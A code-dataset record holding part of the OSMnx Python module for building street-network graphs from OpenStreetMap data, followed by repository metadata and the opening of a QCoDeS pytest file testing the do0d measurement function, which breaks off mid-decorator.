entire graph even if it is not connected\n truncate_by_edge : bool\n if True retain node if it's outside polygon but at least one of node's\n neighbors are within polygon (NOT CURRENTLY IMPLEMENTED)\n quadrat_width : numeric\n passed on to intersect_index_quadrats: the linear length (in degrees) of\n the quadrats with which to cut up the geometry (default = 0.05, approx\n 4km at NYC's latitude)\n min_num : int\n passed on to intersect_index_quadrats: the minimum number of linear\n quadrat lines (e.g., min_num=3 would produce a quadrat grid of 4\n squares)\n buffer_amount : numeric\n passed on to intersect_index_quadrats: buffer the quadrat grid lines by\n quadrat_width times buffer_amount\n\n Returns\n -------\n networkx multidigraph\n \"\"\"\n \n print('truncate_graph_polygon()')\n\n start_time = time.time()\n G = G.copy()\n log('Identifying all nodes that lie outside the polygon...')\n\n # get a GeoDataFrame of all the nodes, for spatial analysis\n node_geom = [Point(data['x'], data['y']) for _, data in G.nodes(data=True)]\n gdf_nodes = gpd.GeoDataFrame({'node':pd.Series(G.nodes()), 'geometry':node_geom})\n gdf_nodes.crs = G.graph['crs']\n\n # find all the nodes in the graph that lie outside the polygon\n points_within_geometry = intersect_index_quadrats(gdf_nodes, polygon, quadrat_width=quadrat_width, min_num=min_num, buffer_amount=buffer_amount)\n nodes_outside_polygon = gdf_nodes[~gdf_nodes.index.isin(points_within_geometry.index)]\n\n # now remove from the graph all those nodes that lie outside the place\n # polygon\n start_time = time.time()\n G.remove_nodes_from(nodes_outside_polygon['node'])\n log('Removed {:,} nodes outside polygon in {:,.2f} seconds'.format(len(nodes_outside_polygon), time.time()-start_time))\n\n # remove any isolated nodes and retain only the largest component (if retain_all is False)\n if not retain_all:\n G = remove_isolated_nodes(G)\n G = get_largest_component(G)\n\n return G\n\n\ndef add_edge_lengths(G):\n \"\"\"\n Add length (meters) attribute to each edge by great circle distance between\n nodes u and v.\n\n Parameters\n ----------\n G : networkx multidigraph\n\n Returns\n -------\n G : networkx multidigraph\n \"\"\"\n\n print('add_edge_lengths()')\n\n start_time = time.time()\n\n # first load all the edges' origin and destination coordinates as a\n # dataframe indexed by u, v, key\n coords = np.array([[u, v, k, G.nodes[u]['y'], G.nodes[u]['x'], G.nodes[v]['y'], G.nodes[v]['x']] for u, v, k in G.edges(keys=True)])\n df_coords = pd.DataFrame(coords, columns=['u', 'v', 'k', 'u_y', 'u_x', 'v_y', 'v_x'])\n df_coords[['u', 'v', 'k']] = df_coords[['u', 'v', 'k']].astype(np.int64)\n df_coords = df_coords.set_index(['u', 'v', 'k'])\n\n # then calculate the great circle distance with the vectorized function\n gc_distances = great_circle_vec(lat1=df_coords['u_y'],\n lng1=df_coords['u_x'],\n lat2=df_coords['v_y'],\n lng2=df_coords['v_x'])\n\n # fill nulls with zeros and round to the millimeter\n gc_distances = gc_distances.fillna(value=0).round(3)\n nx.set_edge_attributes(G, name='length', values=gc_distances.to_dict())\n\n log('Added edge lengths to graph in {:,.2f} seconds'.format(time.time()-start_time))\n return G\n\n\ndef add_path(G, data, one_way):\n \"\"\"\n Add a path to the graph.\n\n Parameters\n ----------\n G : networkx multidigraph\n data : dict\n the attributes of the path\n one_way : bool\n if this path is one-way or if it is bi-directional\n\n Returns\n -------\n None\n \"\"\"\n \n #print('add_path()')\n #called in a loop, don't print here\n\n # extract the ordered list of nodes from this path element, then delete it\n # so we don't add it as an attribute to the edge later\n path_nodes = data['nodes']\n del data['nodes']\n\n # set the oneway attribute to the passed-in value, to make it consistent\n # True/False values\n data['oneway'] = one_way\n\n # zip together the path nodes so you get tuples like (0,1), (1,2), (2,3)\n # and so on\n path_edges = list(zip(path_nodes[:-1], path_nodes[1:]))\n G.add_edges_from(path_edges, **data)\n\n # if the path is NOT one-way\n if not one_way:\n # reverse the direction of each edge and add this path going the\n # opposite direction\n path_edges_opposite_direction = [(v, u) for u, v in path_edges]\n G.add_edges_from(path_edges_opposite_direction, **data)\n\n\ndef add_paths(G, paths, bidirectional=False):\n \"\"\"\n Add a collection of paths to the graph.\n\n Parameters\n ----------\n G : networkx multidigraph\n paths : dict\n the paths from OSM\n bidirectional : bool\n if True, create bidirectional edges for one-way streets\n\n\n Returns\n -------\n None\n \"\"\"\n \n print('add_paths()')\n\n # the list of values OSM uses in its 'oneway' tag to denote True\n osm_oneway_values = ['yes', 'true', '1', '-1']\n\n for data in paths.values():\n\n # if this path is tagged as one-way and if it is not a walking network,\n # then we'll add the path in one direction only\n if ('oneway' in data and data['oneway'] in osm_oneway_values) and not bidirectional:\n if data['oneway'] == '-1':\n # paths with a one-way value of -1 are one-way, but in the\n # reverse direction of the nodes' order, see osm documentation\n data['nodes'] = list(reversed(data['nodes']))\n # add this path (in only one direction) to the graph\n add_path(G, data, one_way=True)\n\n elif ('junction' in data and data['junction'] == 'roundabout') and not bidirectional:\n # roundabout are also oneway but not tagged as is\n add_path(G, data, one_way=True)\n\n # else, this path is not tagged as one-way or it is a walking network\n # (you can walk both directions on a one-way street)\n else:\n # add this path (in both directions) to the graph and set its\n # 'oneway' attribute to False. if this is a walking network, this\n # may very well be a one-way street (as cars/bikes go), but in a\n # walking-only network it is a bi-directional edge\n add_path(G, data, one_way=False)\n\n return G\n\n\ndef create_graph(response_jsons, name='unnamed', retain_all=False, bidirectional=False):\n \"\"\"\n Create a networkx graph from Overpass API HTTP response objects.\n\n Parameters\n ----------\n response_jsons : list\n list of dicts of JSON responses from from the Overpass API\n name : string\n the name of the graph\n retain_all : bool\n if True, return the entire graph even if it is not connected\n bidirectional : bool\n if True, create bidirectional edges for one-way streets\n\n Returns\n -------\n networkx multidigraph\n \"\"\"\n \n print('create_graph()')\n\n log('Creating networkx graph from downloaded OSM data...')\n start_time = time.time()\n\n # make sure we got data back from the server requests\n elements = []\n for response_json in response_jsons:\n elements.extend(response_json['elements'])\n if len(elements) < 1:\n raise EmptyOverpassResponse('There are no data elements in the response JSON objects')\n\n # create the graph as a MultiDiGraph and set the original CRS to default_crs\n G = nx.MultiDiGraph(name=name, crs=settings.default_crs)\n\n # extract nodes and paths from the downloaded osm data\n nodes = {}\n paths = {}\n for osm_data in response_jsons:\n nodes_temp, paths_temp = parse_osm_nodes_paths(osm_data)\n for key, value in nodes_temp.items():\n nodes[key] = value\n for key, value in paths_temp.items():\n paths[key] = value\n\n # add each osm node to the graph\n for node, data in nodes.items():\n G.add_node(node, **data)\n\n # add each osm way (aka, path) to the graph\n G = add_paths(G, paths, bidirectional=bidirectional)\n\n # retain only the largest connected component, if caller did not\n # set retain_all=True\n if not retain_all:\n G = get_largest_component(G)\n\n log('Created graph with {:,} nodes and {:,} edges in {:,.2f} seconds'.format(len(list(G.nodes())), len(list(G.edges())), time.time()-start_time))\n\n # add length (great circle distance between nodes) attribute to each edge to\n # use as weight\n if len(G.edges) > 0:\n G = add_edge_lengths(G)\n\n return G\n\n\ndef bbox_from_point(point, distance=1000, project_utm=False, return_crs=False):\n \"\"\"\n Create a bounding box some distance in each direction (north, south, east,\n and west) from some (lat, lng) point.\n\n Parameters\n ----------\n point : tuple\n the (lat, lon) point to create the bounding box around\n distance : int\n how many meters the north, south, east, and west sides of the box should\n each be from the point\n project_utm : bool\n if True return bbox as UTM coordinates\n return_crs : bool\n if True and project_utm=True, return the projected CRS\n\n Returns\n -------\n north, south, east, west : tuple, if return_crs=False\n north, south, east, west, crs_proj : tuple, if return_crs=True\n \"\"\"\n \n print('bbox_from_point()')\n\n # reverse the order of the (lat,lng) point so it is (x,y) for shapely, then\n # project to UTM and buffer in meters\n lat, lng = point\n point_proj, crs_proj = project_geometry(Point((lng, lat)))\n buffer_proj = point_proj.buffer(distance)\n\n if project_utm:\n west, south, east, north = buffer_proj.bounds\n log('Created bounding box {} meters in each direction from {} and projected it: {},{},{},{}'.format(distance, point, north, south, east, west))\n else:\n # if project_utm is False, project back to lat-long then get the\n # bounding coordinates\n buffer_latlong, _ = project_geometry(buffer_proj, crs=crs_proj, to_latlong=True)\n west, south, east, north = buffer_latlong.bounds\n log('Created bounding box {} meters in each direction from {}: {},{},{},{}'.format(distance, point, north, south, east, west))\n\n if return_crs:\n return north, south, east, west, crs_proj\n else:\n return north, south, east, west\n\n\ndef graph_from_bbox(north, south, east, west, network_type='all_private',\n simplify=True, retain_all=False, truncate_by_edge=False,\n name='unnamed', timeout=180, memory=None,\n max_query_area_size=50*1000*50*1000, clean_periphery=True,\n infrastructure='way[\"highway\"]', custom_filter=None):\n \"\"\"\n Create a networkx graph from OSM data within some bounding box.\n\n Parameters\n ----------\n north : float\n northern latitude of bounding box\n south : float\n southern latitude of bounding box\n east : float\n eastern longitude of bounding box\n west : float\n western longitude of bounding box\n network_type : string\n what type of street network to get\n simplify : bool\n if true, simplify the graph topology\n retain_all : bool\n if True, return the entire graph even if it is not connected\n truncate_by_edge : bool\n if True retain node if it's outside bbox but at least one of node's\n neighbors are within bbox\n name : string\n the name of the graph\n timeout : int\n the timeout interval for requests and to pass to API\n memory : int\n server memory allocation size for the query, in bytes. If none, server\n will use its default allocation size\n max_query_area_size : float\n max size for any part of the geometry, in square degrees: any polygon\n bigger will get divided up for multiple queries to API\n clean_periphery : bool\n if True (and simplify=True), buffer 0.5km to get a graph larger than\n requested, then simplify, then truncate it to requested spatial extent\n infrastructure : string\n download infrastructure of given type (default is streets (ie, 'way[\"highway\"]') but other\n infrastructures may be selected like power grids (ie, 'way[\"power\"~\"line\"]'))\n custom_filter : string\n a custom network filter to be used instead of the network_type presets\n\n Returns\n -------\n networkx multidigraph\n \"\"\"\n \n print('graph_frombbox()')\n\n if clean_periphery and simplify:\n # create a new buffered bbox 0.5km around the desired one\n buffer_dist = 500\n polygon = Polygon([(west, north), (west, south), (east, south), (east, north)])\n polygon_utm, crs_utm = project_geometry(geometry=polygon)\n polygon_proj_buff = polygon_utm.buffer(buffer_dist)\n polygon_buff, _ = project_geometry(geometry=polygon_proj_buff, crs=crs_utm, to_latlong=True)\n west_buffered, south_buffered, east_buffered, north_buffered = polygon_buff.bounds\n\n # get the network data from OSM then create the graph\n response_jsons = osm_net_download(north=north_buffered, south=south_buffered,\n east=east_buffered, west=west_buffered,\n network_type=network_type, timeout=timeout,\n memory=memory, max_query_area_size=max_query_area_size,\n infrastructure=infrastructure, custom_filter=custom_filter)\n G_buffered = create_graph(response_jsons, name=name, retain_all=retain_all,\n bidirectional=network_type in settings.bidirectional_network_types)\n G = truncate_graph_bbox(G_buffered, north, south, east, west, retain_all=True, truncate_by_edge=truncate_by_edge)\n\n # simplify the graph topology\n G_buffered = simplify_graph(G_buffered)\n\n # truncate graph by desired bbox to return the graph within the bbox\n # caller wants\n G = truncate_graph_bbox(G_buffered, north, south, east, west, retain_all=retain_all, truncate_by_edge=truncate_by_edge)\n\n # count how many street segments in buffered graph emanate from each\n # intersection in un-buffered graph, to retain true counts for each\n # intersection, even if some of its neighbors are outside the bbox\n G.graph['streets_per_node'] = count_streets_per_node(G_buffered, nodes=G.nodes())\n\n else:\n # get the network data from OSM\n response_jsons = osm_net_download(north=north, south=south, east=east,\n west=west, network_type=network_type,\n timeout=timeout, memory=memory,\n max_query_area_size=max_query_area_size,\n infrastructure=infrastructure, custom_filter=custom_filter)\n\n # create the graph, then truncate to the bounding box\n G = create_graph(response_jsons, name=name, retain_all=retain_all,\n bidirectional=network_type in settings.bidirectional_network_types)\n G = truncate_graph_bbox(G, north, south, east, west, retain_all=retain_all, truncate_by_edge=truncate_by_edge)\n\n # simplify the graph topology as the last step. don't truncate after\n # simplifying or you may have simplified out to an endpoint\n # beyond the truncation distance, in which case you will then strip out\n # your entire edge\n if simplify:\n G = simplify_graph(G)\n\n log('graph_from_bbox() returning graph with {:,} nodes and {:,} edges'.format(len(list(G.nodes())), len(list(G.edges()))))\n return G\n\n\ndef graph_from_point(center_point, distance=1000, distance_type='bbox',\n network_type='all_private', simplify=True, retain_all=False,\n truncate_by_edge=False, name='unnamed', timeout=180,\n memory=None, max_query_area_size=50*1000*50*1000,\n clean_periphery=True, infrastructure='way[\"highway\"]',\n custom_filter=None):\n \"\"\"\n Create a networkx graph from OSM data within some distance of some (lat,\n lon) center point.\n\n Parameters\n ----------\n center_point : tuple\n the (lat, lon) central point around which to construct the graph\n distance : int\n retain only those nodes within this many meters of the center of the\n graph, with distance determined according to distance_type argument\n distance_type : string\n {'network', 'bbox'} if 'bbox', retain only those nodes within a bounding\n box of the distance parameter. if 'network', retain only those nodes\n within some network distance from the center-most node.\n network_type : string\n what type of street network to get\n simplify : bool\n if true, simplify the graph topology\n retain_all : bool\n if True, return the entire graph even if it is not connected\n truncate_by_edge : bool\n if True retain node if it's outside bbox but at least one of node's\n neighbors are within bbox\n name : string\n the name of the graph\n timeout : int\n the timeout interval for requests and to pass to API\n memory : int\n server memory allocation size for the query, in bytes. If none, server\n will use its default allocation size\n max_query_area_size : float\n max size for any part of the geometry, in square degrees: any polygon\n bigger will get divided up for multiple queries to API\n clean_periphery : bool,\n if True (and simplify=True), buffer 0.5km to get a graph larger than\n requested, then simplify, then truncate it to requested spatial extent\n infrastructure : string\n download infrastructure of given type (default is streets (ie, 'way[\"highway\"]') but other\n infrastructures may be selected like power grids (ie, 'way[\"power\"~\"line\"]'))\n custom_filter : string\n a custom network filter to be used instead of the network_type presets\n\n Returns\n -------\n networkx multidigraph\n \"\"\"\n \n print('graph_from_point()')\n\n if distance_type not in ['bbox', 'network']:\n raise InvalidDistanceType('distance_type must be \"bbox\" or \"network\"')\n\n # create a bounding box from the center point and the distance in each\n # direction\n north, south, east, west = bbox_from_point(center_point, distance)\n\n # create a graph from the bounding box\n G = graph_from_bbox(north, south, east, west, network_type=network_type, simplify=simplify,\n retain_all=retain_all, truncate_by_edge=truncate_by_edge, name=name,\n timeout=timeout, memory=memory, max_query_area_size=max_query_area_size,\n clean_periphery=clean_periphery, infrastructure=infrastructure,\n custom_filter=custom_filter)\n\n # if the network distance_type is network, find the node in the graph\n # nearest to the center point, and truncate the graph by network distance\n # from this node\n if distance_type == 'network':\n centermost_node = get_nearest_node(G, center_point)\n G = truncate_graph_dist(G, centermost_node, max_distance=distance)\n\n log('graph_from_point() returning graph with {:,} nodes and {:,} edges'.format(len(list(G.nodes())), len(list(G.edges()))))\n return G\n\n\ndef graph_from_address(address, distance=1000, distance_type='bbox',\n network_type='all_private', simplify=True, retain_all=False,\n truncate_by_edge=False, return_coords=False,\n name='unnamed', timeout=180, memory=None,\n max_query_area_size=50*1000*50*1000,\n clean_periphery=True, infrastructure='way[\"highway\"]',\n custom_filter=None):\n \"\"\"\n Create a networkx graph from OSM data within some distance of some address.\n\n Parameters\n ----------\n address : string\n the address to geocode and use as the central point around which to\n construct the graph\n distance : int\n retain only those nodes within this many meters of the center of the\n graph\n distance_type : string\n {'network', 'bbox'} if 'bbox', retain only those nodes within a bounding\n box of the distance parameter.\n if 'network', retain only those nodes within some network distance from\n the center-most node.\n network_type : string\n what type of street network to get\n simplify : bool\n if true, simplify the graph topology\n retain_all : bool\n if True, return the entire graph even if it is not connected\n truncate_by_edge : bool\n if True retain node if it's outside bbox but at least one of node's\n neighbors are within bbox\n return_coords : bool\n optionally also return the geocoded coordinates of the address\n name : string\n the name of the graph\n timeout : int\n the timeout interval for requests and to pass to API\n memory : int\n server memory allocation size for the query, in bytes. If none, server\n will use its default allocation size\n max_query_area_size\n float, max size for any part of the geometry, in square degrees: any\n polygon bigger will get divided up for multiple queries to API\n clean_periphery : bool,\n if True (and simplify=True), buffer 0.5km to get a graph larger than\n requested, then simplify, then truncate it to requested spatial extent\n infrastructure : string\n download infrastructure of given type (default is streets (ie, 'way[\"highway\"]') but other\n infrastructures may be selected like power grids (ie, 'way[\"power\"~\"line\"]'))\n custom_filter : string\n a custom network filter to be used instead of the network_type presets\n\n Returns\n -------\n networkx multidigraph or tuple\n multidigraph or optionally (multidigraph, tuple)\n \"\"\"\n \n print('graph_from_address()')\n\n # geocode the address string to a (lat, lon) point\n point = geocode(query=address)\n\n # then create a graph from this point\n G = graph_from_point(point, distance, distance_type, network_type=network_type,\n simplify=simplify, retain_all=retain_all, truncate_by_edge=truncate_by_edge,\n name=name, timeout=timeout, memory=memory,\n max_query_area_size=max_query_area_size,\n clean_periphery=clean_periphery, infrastructure=infrastructure,\n custom_filter=custom_filter)\n log('graph_from_address() returning graph with {:,} nodes and {:,} edges'.format(len(list(G.nodes())), len(list(G.edges()))))\n\n if return_coords:\n return G, point\n else:\n return G\n\n\ndef graph_from_polygon(polygon, network_type='all_private', simplify=True,\n retain_all=False, truncate_by_edge=False, name='unnamed',\n timeout=180, memory=None,\n max_query_area_size=50*1000*50*1000,\n clean_periphery=True, infrastructure='way[\"highway\"]',\n custom_filter=None):\n \"\"\"\n Create a networkx graph from OSM data within the spatial boundaries of the\n passed-in shapely polygon.\n\n Parameters\n ----------\n polygon : shapely Polygon or MultiPolygon\n the shape to get network data within. coordinates should be in units of\n latitude-longitude degrees.\n network_type : string\n what type of street network to get\n simplify : bool\n if true, simplify the graph topology\n retain_all : bool\n if True, return the entire graph even if it is not connected\n truncate_by_edge : bool\n if True retain node if it's outside bbox but at least one of node's\n neighbors are within bbox\n name : string\n the name of the graph\n timeout : int\n the timeout interval for requests and to pass to API\n memory : int\n server memory allocation size for the query, in bytes. If none, server\n will use its default allocation size\n max_query_area_size : float\n max size for any part of the geometry, in square degrees: any polygon\n bigger will get divided up for multiple queries to API\n clean_periphery : bool\n if True (and simplify=True), buffer 0.5km to get a graph larger than\n requested, then simplify, then truncate it to requested spatial extent\n infrastructure : string\n download infrastructure of given type (default is streets\n (ie, 'way[\"highway\"]') but other infrastructures may be selected\n like power grids (ie, 'way[\"power\"~\"line\"]'))\n custom_filter : string\n a custom network filter to be used instead of the network_type presets\n\n Returns\n -------\n networkx multidigraph\n \"\"\"\n \n print('graph_from_polygon()')\n\n # verify that the geometry is valid and is a shapely Polygon/MultiPolygon\n # before proceeding\n if not polygon.is_valid:\n raise TypeError('Shape does not have a valid geometry')\n if not isinstance(polygon, (Polygon, MultiPolygon)):\n raise TypeError('Geometry must be a shapely Polygon or MultiPolygon. If you requested '\n 'graph from place name or address, make sure your query resolves to a '\n 'Polygon or MultiPolygon, and not some other geometry, like a Point. '\n 'See OSMnx documentation for details.')\n\n if clean_periphery and simplify:\n # create a new buffered polygon 0.5km around the desired one\n buffer_dist = 500\n polygon_utm, crs_utm = project_geometry(geometry=polygon)\n polygon_proj_buff = polygon_utm.buffer(buffer_dist)\n polygon_buffered, _ = project_geometry(geometry=polygon_proj_buff, crs=crs_utm, to_latlong=True)\n\n # get the network data from OSM, create the buffered graph, then\n # truncate it to the buffered polygon\n response_jsons = osm_net_download(polygon=polygon_buffered, network_type=network_type,\n timeout=timeout, memory=memory,\n max_query_area_size=max_query_area_size,\n infrastructure=infrastructure, custom_filter=custom_filter)\n G_buffered = create_graph(response_jsons, name=name, retain_all=True,\n bidirectional=network_type in settings.bidirectional_network_types)\n G_buffered = truncate_graph_polygon(G_buffered, polygon_buffered, retain_all=True, truncate_by_edge=truncate_by_edge)\n\n # simplify the graph topology\n G_buffered = simplify_graph(G_buffered)\n\n # truncate graph by polygon to return the graph within the polygon that\n # caller wants. don't simplify again - this allows us to retain\n # intersections along the street that may now only connect 2 street\n # segments in the network, but in reality also connect to an\n # intersection just outside the polygon\n G = truncate_graph_polygon(G_buffered, polygon, retain_all=retain_all, truncate_by_edge=truncate_by_edge)\n\n # count how many street segments in buffered graph emanate from each\n # intersection in un-buffered graph, to retain true counts for each\n # intersection, even if some of its neighbors are outside the polygon\n G.graph['streets_per_node'] = count_streets_per_node(G_buffered, nodes=G.nodes())\n\n else:\n # download a list of API responses for the polygon/multipolygon\n response_jsons = osm_net_download(polygon=polygon, network_type=network_type,\n timeout=timeout, memory=memory,\n max_query_area_size=max_query_area_size,\n infrastructure=infrastructure, custom_filter=custom_filter)\n\n # create the graph from the downloaded data\n G = create_graph(response_jsons, name=name, retain_all=True,\n bidirectional=network_type in settings.bidirectional_network_types)\n\n # truncate the graph to the extent of the polygon\n G = truncate_graph_polygon(G, polygon, retain_all=retain_all, truncate_by_edge=truncate_by_edge)\n\n # simplify the graph topology as the last step. don't truncate after\n # simplifying or you may have simplified out to an endpoint beyond the\n # truncation distance, in which case you will then strip out your entire\n # edge\n if simplify:\n G = simplify_graph(G)\n\n log('graph_from_polygon() returning graph with {:,} nodes and {:,} edges'.format(len(list(G.nodes())), len(list(G.edges()))))\n return G\n\n\ndef graph_from_place(query, network_type='all_private', simplify=True,\n retain_all=False, truncate_by_edge=False, name='unnamed',\n which_result=1, buffer_dist=None, timeout=180, memory=None,\n max_query_area_size=50*1000*50*1000, clean_periphery=True,\n infrastructure='way[\"highway\"]', custom_filter=None):\n \"\"\"\n Create a networkx graph from OSM data within the spatial boundaries of some\n geocodable place(s).\n\n The query must be geocodable and OSM must have polygon boundaries for the\n geocode result. If OSM does not have a polygon for this place, you can\n instead get its street network using the graph_from_address function, which\n geocodes the place name to a point and gets the network within some distance\n of that point. Alternatively, you might try to vary the which_result\n parameter to use a different geocode result. For example, the first geocode\n result (ie, the default) might resolve to a point geometry, but the second\n geocode result for this query might resolve to a polygon, in which case you\n can use graph_from_place with which_result=2.\n\n Parameters\n ----------\n query : string or dict or list\n the place(s) to geocode/download data for\n network_type : string\n what type of street network to get\n simplify : bool\n if true, simplify the graph topology\n retain_all : bool\n if True, return the entire graph even if it is not connected\n truncate_by_edge : bool\n if True retain node if it's outside bbox but at least one of node's\n neighbors are within bbox\n name : string\n the name of the graph\n which_result : int\n max number of results to return and which to process upon receipt\n buffer_dist : float\n distance to buffer around the place geometry, in meters\n timeout : int\n the timeout interval for requests and to pass to API\n memory : int\n server memory allocation size for the query, in bytes. If none, server\n will use its default allocation size\n max_query_area_size : float\n max size for any part of the geometry, in square degrees: any polygon\n bigger will get divided up for multiple queries to API\n clean_periphery : bool\n if True (and simplify=True), buffer 0.5km to get a graph larger than\n requested, then simplify, then truncate it to requested spatial extent\n infrastructure : string\n download infrastructure of given type (default is streets (ie, 'way[\"highway\"]') but other\n infrastructures may be selected like power grids (ie, 'way[\"power\"~\"line\"]'))\n custom_filter : string\n a custom network filter to be used instead of the network_type presets\n\n Returns\n -------\n networkx multidigraph\n \"\"\"\n \n print('graph_from_place()')\n\n # create a GeoDataFrame with the spatial boundaries of the place(s)\n if isinstance(query, str) or isinstance(query, dict):\n # if it is a string (place name) or dict (structured place query), then\n # it is a single place\n gdf_place = gdf_from_place(query, which_result=which_result, buffer_dist=buffer_dist)\n name = query\n elif isinstance(query, list):\n # if it is a list, it contains multiple places to get\n gdf_place = gdf_from_places(query, buffer_dist=buffer_dist)\n else:\n raise TypeError('query must be a string or a list of query strings')\n\n # extract the geometry from the GeoDataFrame to use in API query\n polygon = gdf_place['geometry'].unary_union\n log('Constructed place geometry polygon(s) to query API')\n\n # create graph using this polygon(s) geometry\n G = graph_from_polygon(polygon, network_type=network_type, simplify=simplify,\n retain_all=retain_all, truncate_by_edge=truncate_by_edge,\n name=name, timeout=timeout, memory=memory,\n max_query_area_size=max_query_area_size,\n clean_periphery=clean_periphery, infrastructure=infrastructure,\n custom_filter=custom_filter)\n\n log('graph_from_place() returning graph with {:,} nodes and {:,} edges'.format(len(list(G.nodes())), len(list(G.edges()))))\n return G\n\n\ndef graph_from_file(filename, bidirectional=False, simplify=True,\n retain_all=False, name='unnamed'):\n \"\"\"\n Create a networkx graph from OSM data in an XML file.\n\n Parameters\n ----------\n filename : string\n the name of a file containing OSM XML data\n bidirectional : bool\n if True, create bidirectional edges for one-way streets\n simplify : bool\n if True, simplify the graph topology\n retain_all : bool\n if True, return the entire graph even if it is not connected\n name : string\n the name of the graph\n\n Returns\n -------\n networkx multidigraph\n \"\"\"\n \n print('graph_from_file()')\n \n \n # transmogrify file of OSM XML data into JSON\n response_jsons = [overpass_json_from_file(filename)]\n\n # create graph using this response JSON\n G = create_graph(response_jsons, bidirectional=bidirectional,\n retain_all=retain_all, name=name)\n\n # simplify the graph topology as the last step.\n if simplify:\n G = simplify_graph(G)\n\n log('graph_from_file() returning graph with {:,} nodes and {:,} edges'.format(len(list(G.nodes())), len(list(G.edges()))))\n return G\n" ]
[ [ "pandas.DataFrame" ] ]
ovaar/Qcodes
[ "c03029a6968e16379155aadc8b083a02e01876a6" ]
[ "qcodes/tests/dataset/test_doNd.py" ]
[ "\"\"\"\nThese are the basic black box tests for the doNd functions.\n\"\"\"\nimport hypothesis.strategies as hst\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport numpy as np\nimport pytest\nfrom hypothesis import HealthCheck, given, settings\n\nfrom qcodes import config\nfrom qcodes.dataset.data_set import DataSet\nfrom qcodes.dataset import new_experiment\nfrom qcodes.instrument.parameter import Parameter\nfrom qcodes.tests.instrument_mocks import (ArraySetPointParam,\n Multi2DSetPointParam,\n Multi2DSetPointParam2Sizes,\n MultiSetPointParam)\nfrom qcodes.utils import validators\nfrom qcodes.utils.dataset.doNd import do0d, do1d, do2d\nfrom qcodes.utils.validators import Arrays\n\nfrom .conftest import ArrayshapedParam\n\n\[email protected](autouse=True)\ndef set_tmp_output_dir(tmpdir):\n old_config = config.user.mainfolder\n try:\n config.user.mainfolder = str(tmpdir)\n yield\n finally:\n config.user.mainfolder = old_config\n\n\[email protected]()\ndef plot_close():\n yield\n plt.close('all')\n\n\[email protected]()\ndef _param():\n p = Parameter('simple_parameter',\n set_cmd=None,\n get_cmd=lambda: 1)\n return p\n\n\[email protected]()\ndef _param_complex():\n p = Parameter('simple_complex_parameter',\n set_cmd=None,\n get_cmd=lambda: 1 + 1j,\n vals=validators.ComplexNumbers())\n return p\n\n\[email protected]()\ndef _param_set():\n p = Parameter('simple_setter_parameter',\n set_cmd=None,\n get_cmd=None)\n return p\n\n\[email protected]()\ndef _param_set_2():\n p = Parameter('simple_setter_parameter_2',\n set_cmd=None,\n get_cmd=None)\n return p\n\n\ndef _param_func(_p):\n \"\"\"\n A private utility function.\n \"\"\"\n _new_param = Parameter('modified_parameter',\n set_cmd=None,\n get_cmd=lambda: _p.get()*2)\n return _new_param\n\n\[email protected]()\ndef _param_callable(_param):\n return _param_func(_param)\n\n\ndef test_param_callable(_param_callable):\n _param_modified = _param_callable\n assert _param_modified.get() == 2\n\n\[email protected](\"plot_close\", \"experiment\")\[email protected]('period', [None, 1])\[email protected]('plot', [None, True, False])\[email protected]('plot_config', [None, True, False])\ndef test_do0d_with_real_parameter(_param, period, plot, plot_config):\n\n if plot_config is not None:\n config.dataset.dond_plot = plot_config\n\n output = do0d(_param, write_period=period, do_plot=plot)\n assert len(output[1]) == 1\n if plot is True or plot is None and plot_config is True:\n assert isinstance(output[1][0], matplotlib.axes.Axes)\n else:\n assert output[1][0] is None\n\n\[email protected](\"plot_close\", \"experiment\")\[email protected]('period, plot', [(None, True), (None, False),\n (1, True), (1, False)])\ndef test_do0d_with_complex_parameter(_param_complex, period, plot):\n do0d(_param_complex, write_period=period, do_plot=plot)\n\n\[email protected](\"plot_close\", \"experiment\")\[email protected]('period, plot', [(None, True), (None, False),\n (1, True), (1, False)])\ndef test_do0d_with_a_callable(_param_callable, period, plot):\n do0d(_param_callable, write_period=period, do_plot=plot)\n\n\[email protected](\"plot_close\", \"experiment\")\[email protected]('period, plot', [(None, True), (None, False),\n (1, True), (1, False)])\ndef test_do0d_with_2_parameters(_param, _param_complex, period, plot):\n do0d(_param, _param_complex, write_period=period, do_plot=plot)\n\n\[email protected](\"plot_close\", \"experiment\")\[email protected]('period, plot', [(None, True), (None, False),\n (1, True), (1, False)])\ndef test_do0d_with_parameter_and_a_callable(_param_complex, _param_callable,\n period, plot):\n do0d(_param_callable, _param_complex, write_period=period, do_plot=plot)\n\n\[email protected](\"plot_close\", \"experiment\")\ndef test_do0d_output_type_real_parameter(_param):\n data = do0d(_param)\n assert isinstance(data[0], DataSet) is True\n\n\[email protected](\"plot_close\", \"experiment\")\ndef test_do0d_output_type_complex_parameter(_param_complex):\n data_complex = do0d(_param_complex)\n assert isinstance(data_complex[0], DataSet) is True\n\n\[email protected](\"plot_close\", \"experiment\")\ndef test_do0d_output_type_callable(_param_callable):\n data_func = do0d(_param_callable)\n assert isinstance(data_func[0], DataSet) is True\n\n\[email protected](\"plot_close\", \"experiment\")\ndef test_do0d_output_data(_param):\n exp = do0d(_param)\n data = exp[0]\n assert data.parameters == _param.name\n loaded_data = data.get_parameter_data()['simple_parameter']['simple_parameter']\n assert loaded_data == np.array([_param.get()])\n\n\[email protected](\"experiment\")\[email protected](\"multiparamtype\", [MultiSetPointParam,\n Multi2DSetPointParam,\n Multi2DSetPointParam2Sizes])\n@given(n_points_pws=hst.integers(min_value=1, max_value=1000))\n@settings(deadline=None, suppress_health_check=(HealthCheck.function_scoped_fixture,))\ndef test_do0d_verify_shape(_param, _param_complex, multiparamtype,\n dummyinstrument, n_points_pws):\n arrayparam = ArraySetPointParam(name='arrayparam')\n multiparam = multiparamtype(name='multiparam')\n paramwsetpoints = dummyinstrument.A.dummy_parameter_with_setpoints\n dummyinstrument.A.dummy_start(0)\n dummyinstrument.A.dummy_stop(1)\n dummyinstrument.A.dummy_n_points(n_points_pws)\n\n results = do0d(arrayparam, multiparam, paramwsetpoints,\n _param, _param_complex,\n do_plot=False)\n expected_shapes = {}\n for i, name in enumerate(multiparam.full_names):\n expected_shapes[name] = tuple(multiparam.shapes[i])\n expected_shapes['arrayparam'] = tuple(arrayparam.shape)\n expected_shapes['simple_parameter'] = (1,)\n expected_shapes['simple_complex_parameter'] = (1,)\n expected_shapes[paramwsetpoints.full_name] = (n_points_pws, )\n assert results[0].description.shapes == expected_shapes\n\n ds = results[0]\n\n assert ds.description.shapes == expected_shapes\n\n data = ds.get_parameter_data()\n\n for name, data in data.items():\n for param_data in data.values():\n assert param_data.shape == expected_shapes[name]\n\n\[email 